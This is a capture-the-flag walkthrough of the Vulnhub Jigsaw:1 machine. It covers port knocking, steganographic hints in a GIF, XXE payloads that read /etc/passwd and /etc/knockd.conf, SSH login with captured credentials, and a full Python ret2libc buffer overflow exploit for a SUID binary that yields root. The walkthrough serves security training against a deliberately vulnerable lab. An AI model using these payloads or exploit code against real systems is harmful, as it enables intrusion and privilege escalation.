Jigsaw:1 Vulnhub Walkthrough
Hello guys, today we will face a slightly more complex challenge. Introducing the Jigsaw: 1 virtual machine, the first of the “Jigsaw” series created by “Zayotic” and available on Vulnhub. This is another boot2root-style challenge where we have to escalate privileges to the “root user” and capture a flag to complete the challenge.
Level: Hard to Insane
Since these labs are available on the Vulnhub Website. We will be downloading the lab file from this link.
- Network Scanning (Part 1)
- ARP Scan
- Enumeration (Part 1)
- Reading the Flag1
- Network Scanning (Part 1)
- Port Knocking
- Nmap Scan
- Enumeration (Part 2)
- Browsing HTTP Service
- Hidden Information in GIF image
- XXE Attack in Form Login
- Port Knocking
- Getting a SSH Connection
- Enumeration Files and Directories
- Reading the Flag2
- Post Exploitation
- Getting Login Credentials
- Enumeration for SUID binaries
- Creating Exploit
- Overview Buffer Overflow Return-to-Libc
- Check Buffer length
- First Payload Script
- Get System, exit and /bin/sh addresses
- Privilege Escalation
- Execute Exploit Created
- Confirm Root Access
- Reading the Final Flag (Flag3) in /root/gameover.txt
Network Scanning (Part 1)
First, we will find the IP address of our target machine and for that please use the following command as it helps to see all the IP’s in an internal network through of a specific network interface:
arp-scan --localnet --ignoredups
We found the target IP Address 192.168.138.100.
Normally, we would start a basic port scan (using nmap or another tool) for services or some vulnerability. However, the author of this box leaves a subtle tip stating to pay more attention to ARP packages. We can read this hint in the box description before downloading it:
So, we can listen to network traffic through tools such as Wireshark or TCPDump. For example, using the following command we can listen to traffic through the terminal, filtering for ARP packets:
tcpdump -A -n host 192.168.138.100 and arp
We may notice that after a while we did not receive much useful information. We can then deduce that it could be a fake tip or at least a trick question. With this understanding, we can try to “exclude all ARP traffic from this capture” using the following command:
tcpdump -A -n host 192.168.138.100 and not arp
A few seconds after the previous command has been executed, we may see a different message coming out of UDP port 666 in this box.
Enumeration (Part 1)
Apparently we may have some password in leet mode or something expected with this feature. That way, we can perform a basic test on UDP port 666 using Netcat to identify some useful information with the following command:
nc -u 192.168.138.100 666
We can see that after testing a few words, we get ciphertext when we send “j19s4w” (leet mode). The message appears to be base64 encoded. Using the following command, we can send the right word and try to decipher the content of the received message:
python -c "print 'j19s4w'" | nc -u 192.168.138.100 666 -q1 | base64 -d
We managed to capture the first flag and at the same time a tip to continue the exploration.
Moving on to the next tip, you will need to perform a procedure known as “Port Knocking”.
Network Scanning (Part 2)
Using the script below, we hit the indicated ports in the correct sequence using Nmap:
for knock in 5500 6600 7700; do nmap -Pn --host-timeout 201 --max-retries 0 -p $knock 192.168.138.100; done
Alternatively, you can also perform the “Port Knocking” process with the “Knock” command, according to the following syntax:
knock 192.168.138.100 5500 6600 7700
Now, that we have knocked on the correct ports and sequence, generally the protection system frees access to other server ports. In order to guarantee and test, we can perform a basic port scan using Nmap with the following command:
nmap -A -T4 -p- 192.168.138.100
Thus, we can see that after “Port Knocking”, the system opened access to TCP port 80.
Enumeration (Part 2)
As port 80 is open, let us try and open the IP in the browser as shown in the image below:
While there appears to be nothing on this page, we can proceed to parse the source code for useful information.
We can also search for files and directories in the “/robots.txt” file:
So far, none of the visible information we have found has taken us anywhere. We can also try to search directories and files through web crawlers like Dirsearch, Gobuster, Dirb, et.al., unfortunately, this procedure in this box will not return any known directories through common dictionaries.
If we take into account the “thinking outside the box” common in CTF challenges, when faced with images and data files, the idea of “steganography”, data hidden in other files, comes up. Finally, we can also try to analyze the GIF image used as the background of this page.
With the following command, we can download this image to our attacking machine:
wget -c http://192.168.138.100/jigsaw.gif
We can use the “file” command to verify that the file type is different than expected.
In addition, it is also indicated to look for apparent “strings” in the file structure using the following command:
file jigsaw.gif strings jigsaw.gif
After analyzing the various exposed “strings” of this file, we reach the last line. This line, quite different from the previous ones, besides being larger, has a structure similar to the division of directories in common URL format.
It seems that this is a new way and so we can test right in the browser.
Now that we have discovered a new environment, we have access to a login form. After some testing, whenever we enter an incorrect user, the form displays an error message, as shown below.
As usual, we can evaluate the source code for any information that may be any hint or developmental flaw, such as a comment, link, path, etc.
Here we have an XML function that handles this login form. And if you are already an experienced CTF challenge practitioner or keep up to date on new attacks, you may have realized that we will probably be able to exploit this environment using some “XML External Entity Attack or XXE Attack”.
Apparently, this environment “may” be vulnerable to attacks of the XXE type. This way we can try to alter the original request and manipulate this data in order to get sensitive information from inside the server.
To test the environment, we can intercept the original request (with a proxy like Burpsuite) and change this data by inserting a payload. To assist in this step, we can use some payload available on “PayloadsAllTheThings” through Github.
Below is an example of a common request whenever we try to log in by default through the browser. For example, by entering the following email “firstname.lastname@example.org” with the password “admin“:
<?xml version="1.0" encoding="UTF-8"?><root><email>email@example.com</email><password>admin</password></root>
Understanding this request and response process, we can manipulate data sent via the HTTP POST method and submit our payload. The payload below was built for this tutorial example. Basically, if the application is vulnerable it will return the contents of the file “/etc/passwd“.
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ELEMENT test ANY > <!ENTITY my_email SYSTEM "file:///etc/passwd" >]><root><email>&my_email;</email><password></password></root>
Now that we have Proof of Concept (PoC), we can then continue exploring. Also, we already know that there is a user named “jigsaw” with login permission for this machine.
As this is access made through the “Port Knocking” protection feature, it is ideal to read the information of the configuration file of this service located at “/etc/knockd.conf“.
For this, we can only change the file to be read, informing in the payload, the desired configuration file:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ELEMENT test ANY > <!ENTITY my_email SYSTEM "file:///etc/knockd.conf" >]><root><email>&my_email;</email><password></password></root>
The file returned some settings for opening and closing specific ports using Port Knocking. In addition, we also have the sequence to also allow access to port 22 for SSH.
Now that we know how to release SSH, let’s test and explore this service. We have done this before using a basic script to “knock” in sequence and correct ports. However, alternatively we can execute the “knock” command to perform this procedure as shown below:
knock 192.168.138.100 7011 8011 9011 nmap -A -T5 -p22 192.168.138.100
Now we can try to access this service. We have at hand the user “jigsaw” but not much information about the likely password. However, if you come back a little earlier, during the Network Sniffing procedure, we capture a message via the UDP protocol.
So, with the credentials in hand, just test and validate access.
ssh firstname.lastname@example.org -p22 password: j19s4w
Once we access the machine, we can list the contents of the current directory, looking for files that can provide more information or tips.
Great, we got the second flag of this challenge easy. Besides, we already know that there is still one last challenge.
The current user has no administrative permissions and apparently we will need to go up a privilege level and get access from the “root user”. We can navigate between directories and search for files and folders with write, read and execute permissions, search for SUDO permissions and also for executables with SUID and/or GUID.
Unfortunately, this user is not allowed to execute commands through SUDO permissions.
Another alternative is to look for SUID / GUID executables.
find / -perm -u=s -type f 2>/dev/null
The search for SUID executables brought us a very interesting binary: “/bin/game3”.
This binary gives us an idea that we are on the right track because if you check the paths so far, this will be the 3rd challenge.
It is an ELF 32bits file, ie an executable for Linux. We could look for strings, test outputs and other methods: everything is valid. However, advancing the process, after some tests (entering several data as input), we can identify a possible stack overflow, ie, this binary is probably vulnerable to “Buffer Overflow”.
I confess to you that my knowledge of binary exploration and reverse engineering in ELF is quite basic, but I am working to evolve this skill.
Let’s take a moment to analyze the return of the “file” command to better understand each step below.
/bin/game3 file /bin/game3
The result of executing the command shows that we have a 32-bit executable ELF, dynamically linked (linked with libc includes) and not-stripped (meaning it contains all the debugging information).
Since the target machine does not have an internal debugger (like GDB), we can copy the binary to the attacking machine and try to exploit this binary there to create our exploit. This is “BoF Ret2Libc (Return-to-libc)“.
The command below copies the torque from the target machine to the attacking machine:
scp email@example.com:/bin/game3 /destination_path
Check Buffer length
We know that after entering certain amounts of characters the executable returns “segmentation failure”, an overflow. However, if we test one character at a time until we find the correct amount, we will lose a lot of time.
Therefore, it is faster to use gdb-peda ‘pattern_create‘ and ‘pattern_offset‘ functions to identify the pattern and how much overflow occurred.
After executing the binary with the pattern created with 200 characters (pattern_create 200), an overflow is returned at address: 0x41344141. We can look at the image below and check the pattern that filled the EIP.
With the pattern_offset function we will identify how much the burst actually occurred. Just tell the function the value (default) that went to the EIP.
We now know that the number of characters to replace and fill the EIP is 76. This is the size of our Buffer.
Therefore, we will begin our exploration. For this exploit, we will use the python language, as it has execution permission on the target machine. If you want to better understand the payload creation process to exploit the ret2libc attack, you can use the article posted on the SpZ blog as a guide.
First Payload Script
In order to test, let’s develop our first payload and test. Below is a basic python payload example:
import struct buf = "A" * 76 buf += struct.pack("<I", 0xabcdef00) #Exit Addr print buf
Let’s save this payload to some “file.py ” and run it on gdp-peda.
We were able to fill in the EIP with the data we sent. So notice that the Exit Address has been manipulated.
Get System, exit and /bin/sh addresses
To override the EIP and inject our shell, we still need to get 3 more addresses: Libc System Address, Libc Exit Address, Libc “/bin/sh” Address.
So we should go back to the target VM and we will develop the payload within it. It is recommended to access any directory that the current user has write permission to, such as “/tmp”.
At the target VM, we will type the commands below to collect the respective addresses for Libc:
ldd /bin/game3 | grep libc readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
We now have the following addresses:
Libc Base Addr: 0xb7557000
Libc System Addr: 0x00040310
Libc Exit Addr: 0x00033260
Libc /bin/sh Addr: 0x00162d4c
To create our exploit, let’s edit a file.py (same xpl.py, for example) in the directory we chose earlier. Below is a code example for our payload. It’s no use wanting to copy and place the code that probably the addresses will be different in your environment:
from subprocess import call import struct base_addr = 0xb7557000 sys_addr = struct.pack("<I", base_addr+0x00040310) exit_addr = struct.pack("<I", base_addr+0x00033260) shell_addr = struct.pack("<I", base_addr+0x00162d4c) buf = "A"*76 buf += sys_addr buf += exit_addr buf += shell_addr i = 0 while(i<512): print(“Trying: %s” % (i)) i += 1 ret = call(["/bin/game3", buf])
Now we can test our exploit and see if we can scale privileges. To do this, we can execute it with the following command:
If after running the exploit, do not load the shell “sh”. We can change the value of the “base_addr” variable. This is the corresponding value for “Libc Base Address”. We can use the command we already saw for this, or simply run the exploit again to try to get root access.
After performing the payload, wait a few seconds. Since no feedback text has been added to your screen, the while loop will keep trying until you can inject the payload.
We can see that there is a file named “gameover.txt” inside the “root user” directory.
We hope this guide has contributed to your learning and knowledge and if possible shares with your network of friends and partners.
Thanks for your patience in reading this walkthrough until the end !!
Author: André Henrique is a Cybersecurity and IT Consultant, Network Security Specialist, Pentester, Speaker and Writer at Hacking Articles. Contact Here.